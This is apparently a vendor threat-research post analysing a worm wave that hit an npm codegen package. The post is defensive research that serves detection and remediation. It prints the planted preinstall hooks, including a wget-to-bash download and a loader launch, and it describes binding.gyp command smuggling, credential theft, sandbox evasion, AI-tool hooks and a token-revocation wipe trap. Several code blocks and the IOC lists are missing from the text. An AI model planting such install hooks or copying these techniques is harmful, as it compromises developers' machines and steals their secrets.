Shai-Hulud Trinitite Hits @7nohe/openapi-react-query-codegen
JFrog Security Research detected a new Mini Shai-Hulud wave that landed on August 28, 2026. The target is @7nohe/openapi-react-query-codegen, a TanStack Query codegen package. Ten versions went out in about twenty minutes. /img/RealTimePostImage/post/Trinitite/Trinitite.png This is the same worm family we covered in Shai-Hulud: Here We Go Again, the May 19 @antv wave, and Miasma. What changed is the packaging, the campaign strings, and how quietly binding.gyp now hides the install-time command. A note on timing: The people behind TeamPCP were arrested in Australia in late August. This package showed up on npm about a day later. Same kit, new RSA keys, new graffiti. Could be leftover access. Could be someone else wearing the cat mask. The payload does not settle that. The package sits in the 150K+ weekly download range. Anyone who installed a listed version with lifecycle scripts, or who let node-gyp evaluate the planted binding.gyp, should treat the host as compromised. ## How it got published The project's release workflow treated any pull-request comment that said exactly npm publish as a release trigger. It then checked out that PR and published with GitHub Actions OIDC (id-token: write), with no check that the commenter was a maintainer. GitHub user p00paboot opened the PRs and posted the trigger. The workflow minted a trusted-publishing token, so the malicious versions have real provenance. That only shows the job ran in that repo, not that the job was clean. The first two versions they published were prereleases (0.0.0-365d4eb… and 0.0.0-ec7876d6…). Version 0.0.0-365d4eb… has a planted preinstall script, but not the XOR payload. The eight stable versions that followed are the ones that carry the worm. ## First they asked if it was that simple That first prerelease has no 3FWCvzduYZg.js and no binding.gyp. The only planted thing is preinstall: ``json "preinstall": "wget -qO- raw.githubusercontent.com/oven-sh/bun/r...s/main/src/runtime/cli/install.sh|bash ; bash -c 'WORKFLOW_ID=release.yml REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen TARGET_PACKAGES=@7nohe/openapi-react-query-codegen ~/.bun/bin/bun is_it_this_simple.js'" ` It installs official Bun, then tries to run a file that is not in the tarball. So this version does not drop the worm. The env vars are the interesting part. They are the same knobs the later payload already reads. WORKFLOW_ID and REPO_ID_SUFFIX tell it to fire the OIDC republish path when it is sitting in this repo's release.yml. TARGET_PACKAGES is the infection list. They pointed all three at @7nohe/openapi-react-query-codegen. The filename is the question: is_it_this_simple.js. Then they shipped the XOR blob. ## Two ways the later versions run Wave 1 (0.5.4, 1.6.3, 2.2.1, 3.0.3) used only binding.gyp. Wave 2 (0.5.5, 1.6.4, 2.2.2, 3.0.4), twenty minutes later, added a normal hook as well: `json "scripts": { "preinstall": "node 3FWCvzduYZg.js" } ` 3FWCvzduYZg.js is a 4–6 MB XOR-wrapped loader. --ignore-scripts skips the preinstall hook, but node-gyp can still evaluate binding.gyp and run the same file. /img/RealTimePostImage/post/Trinitite/trinitite-payload.png ## binding.gyp, now with an obfuscated command Earlier Mini samples hid the launch in a shell expansion, something like /dev/null 2>&1 && echo stub.c).
In this one, the real command sits in conditions, written as Unicode escapes:
Decoded, that condition walks Python's class tree to catch_warnings, reaches builtins, and runs:
node-gyp evaluates conditions as Python, so no preinstall required, and scanners that only look at package.json scripts miss it.
The loader
Same Mini staging we described for Miasma, with the first transform swapped.
- A ~1.6M-entry integer array, XOR'd with key 9 (older Mini used ROT).
- Two AES-128-GCM blobs. The small one fetches Bun. The large one is the worm.
- The worm is written to a random temp .js, run under Bun, then deleted.
If Bun is missing, the dropper pulls v1.4.0 from the real oven-sh/bun GitHub release into a directory named trinnyyyy-. On Windows the binary is renamed to six random characters. Previous waves used 1.3.13 and /tmp/b-.
Inside the worm, strings go through a javascript-obfuscator and a second scramble (faa0a686e) built on PBKDF2-SHA256 (200k rounds) plus a 3-round substitution. Thirteen more blobs are AES-256-GCM + gzip: the token monitor, the commit-search C2, Claude/VS Code hooks, and the secret-dump workflow.
Same worm, new stickers
Once it is running, this is Shai-Hulud. It steals GitHub / npm / PyPI / RubyGems / cloud / Vault / Kubernetes material, scrapes Runner.Worker memory for "isSecret":true, and republishes packages it can write. Stolen data is gzipped, AES-wrapped, RSA-wrapped, and committed to a public repo under the victim token.
The new description is:
Files go under results/, but the name is doubletrinnys--.json. If there is no token in the commit, the message is meow meow meow. If there is, it is IfYouRevokeThisTokenYourABadUser:.
The planted Actions workflow is the usual secrets dump, renamed:
Earlier waves called this Run Copilot.
PyPI is no longer only a separate .pth loader. The JS worm itself pushes stolen pypi- tokens at upload.pypi.org/legacy/ and keeps the ones that look valid. TYPO_MODE=1 plus TARGET_PACKAGES turns that into a typosquat path. RubyGems and JFrog/Artifactory checks are still in the same file.
The unused decoy host moved from api.anthropic.com to poopy.com / v1/idk. We did not see it used.
Before it does anything useful, it checks whether it is running in an analysis environment. If it sees a Russian locale, StepSecurity / harden-runner markers, fake prefixes like AKIAFAKE, or a short list of researcher GitHub orgs (actions-security-demo, h0x0er, varunsh-coder), it exits.
Persistence and the revoke trap
Still there. Isolate first.
Linux/macOS install a user service (systemd-detect-fash or sysvinit-detect-fash) and a Python monitor at ~/.local/share/diaper/poopy.py. State is /var/tmp/.shit. The token monitor polls GET /user. A 40x means the token is dead, and the stored handler can wipe ~/ and ~/Documents. Same trap as May 19, different unit names.
AI-tool hooks are the usual set: Claude SessionStart, VS Code folderOpen, Cursor / Gemini / Copilot / Aider paths.
Remediation
- Isolate the machine or runner. Do not revoke GitHub tokens until the monitor is gone.
- Stop and disable systemd-detect-fash and sysvinit-detect-fash (user systemd on Linux, LaunchAgent on macOS).
- Remove ~/.local/share/diaper/, ~/.config/sysvinit-detect-fash/, /var/tmp/.shit, and trinnyyyy-* temp dirs.
- Drop 3FWCvzduYZg.js and binding.gyp from installs. Pin 0.5.3 / 1.6.2 / 2.2.0 / 3.0.2. Rebuild lockfiles.
- Then rotate GitHub, npm, PyPI, RubyGems, cloud, SSH, and CI credentials from a clean box.
- Valid provenance on these versions is not a clean bill of health.
Conclusions
Trinitite is another turn of Mini Shai-Hulud, not a new family. The collectors, GitHub dead-drop, npm republish path, PyPI token handling, and the revoke trap are the ones we have been cleaning up since spring. What changed is the packaging: a comment-triggered OIDC publish, a first prerelease that only installed Bun and pointed at this repo, then a Unicode binding.gyp command that runs even when package.json scripts are skipped.
The timing is hard to ignore. The TeamPCP suspects were arrested in Australia in late August, and this package showed up on npm about a day later. Same kit, new RSA keys, new graffiti. That could be leftover access, or someone else using the same loader. The payload does not settle it.
For defenders, the old campaign names (Here We Go Again, Miasma, Hades) will not catch this wave. Hunt the new strings, the Frot / dog.c binding.gyp, and the 3FWCvzduYZg.js loader. Treat any host that installed a listed version as compromised, and do not revoke GitHub tokens until the monitor is gone.
These malicious versions are detected by JFrog Xray and JFrog Curation.
IOCs
Package
Last safe: 0.5.3, 1.6.2, 2.2.0, 3.0.2`.
Files and host
Campaign strings
Network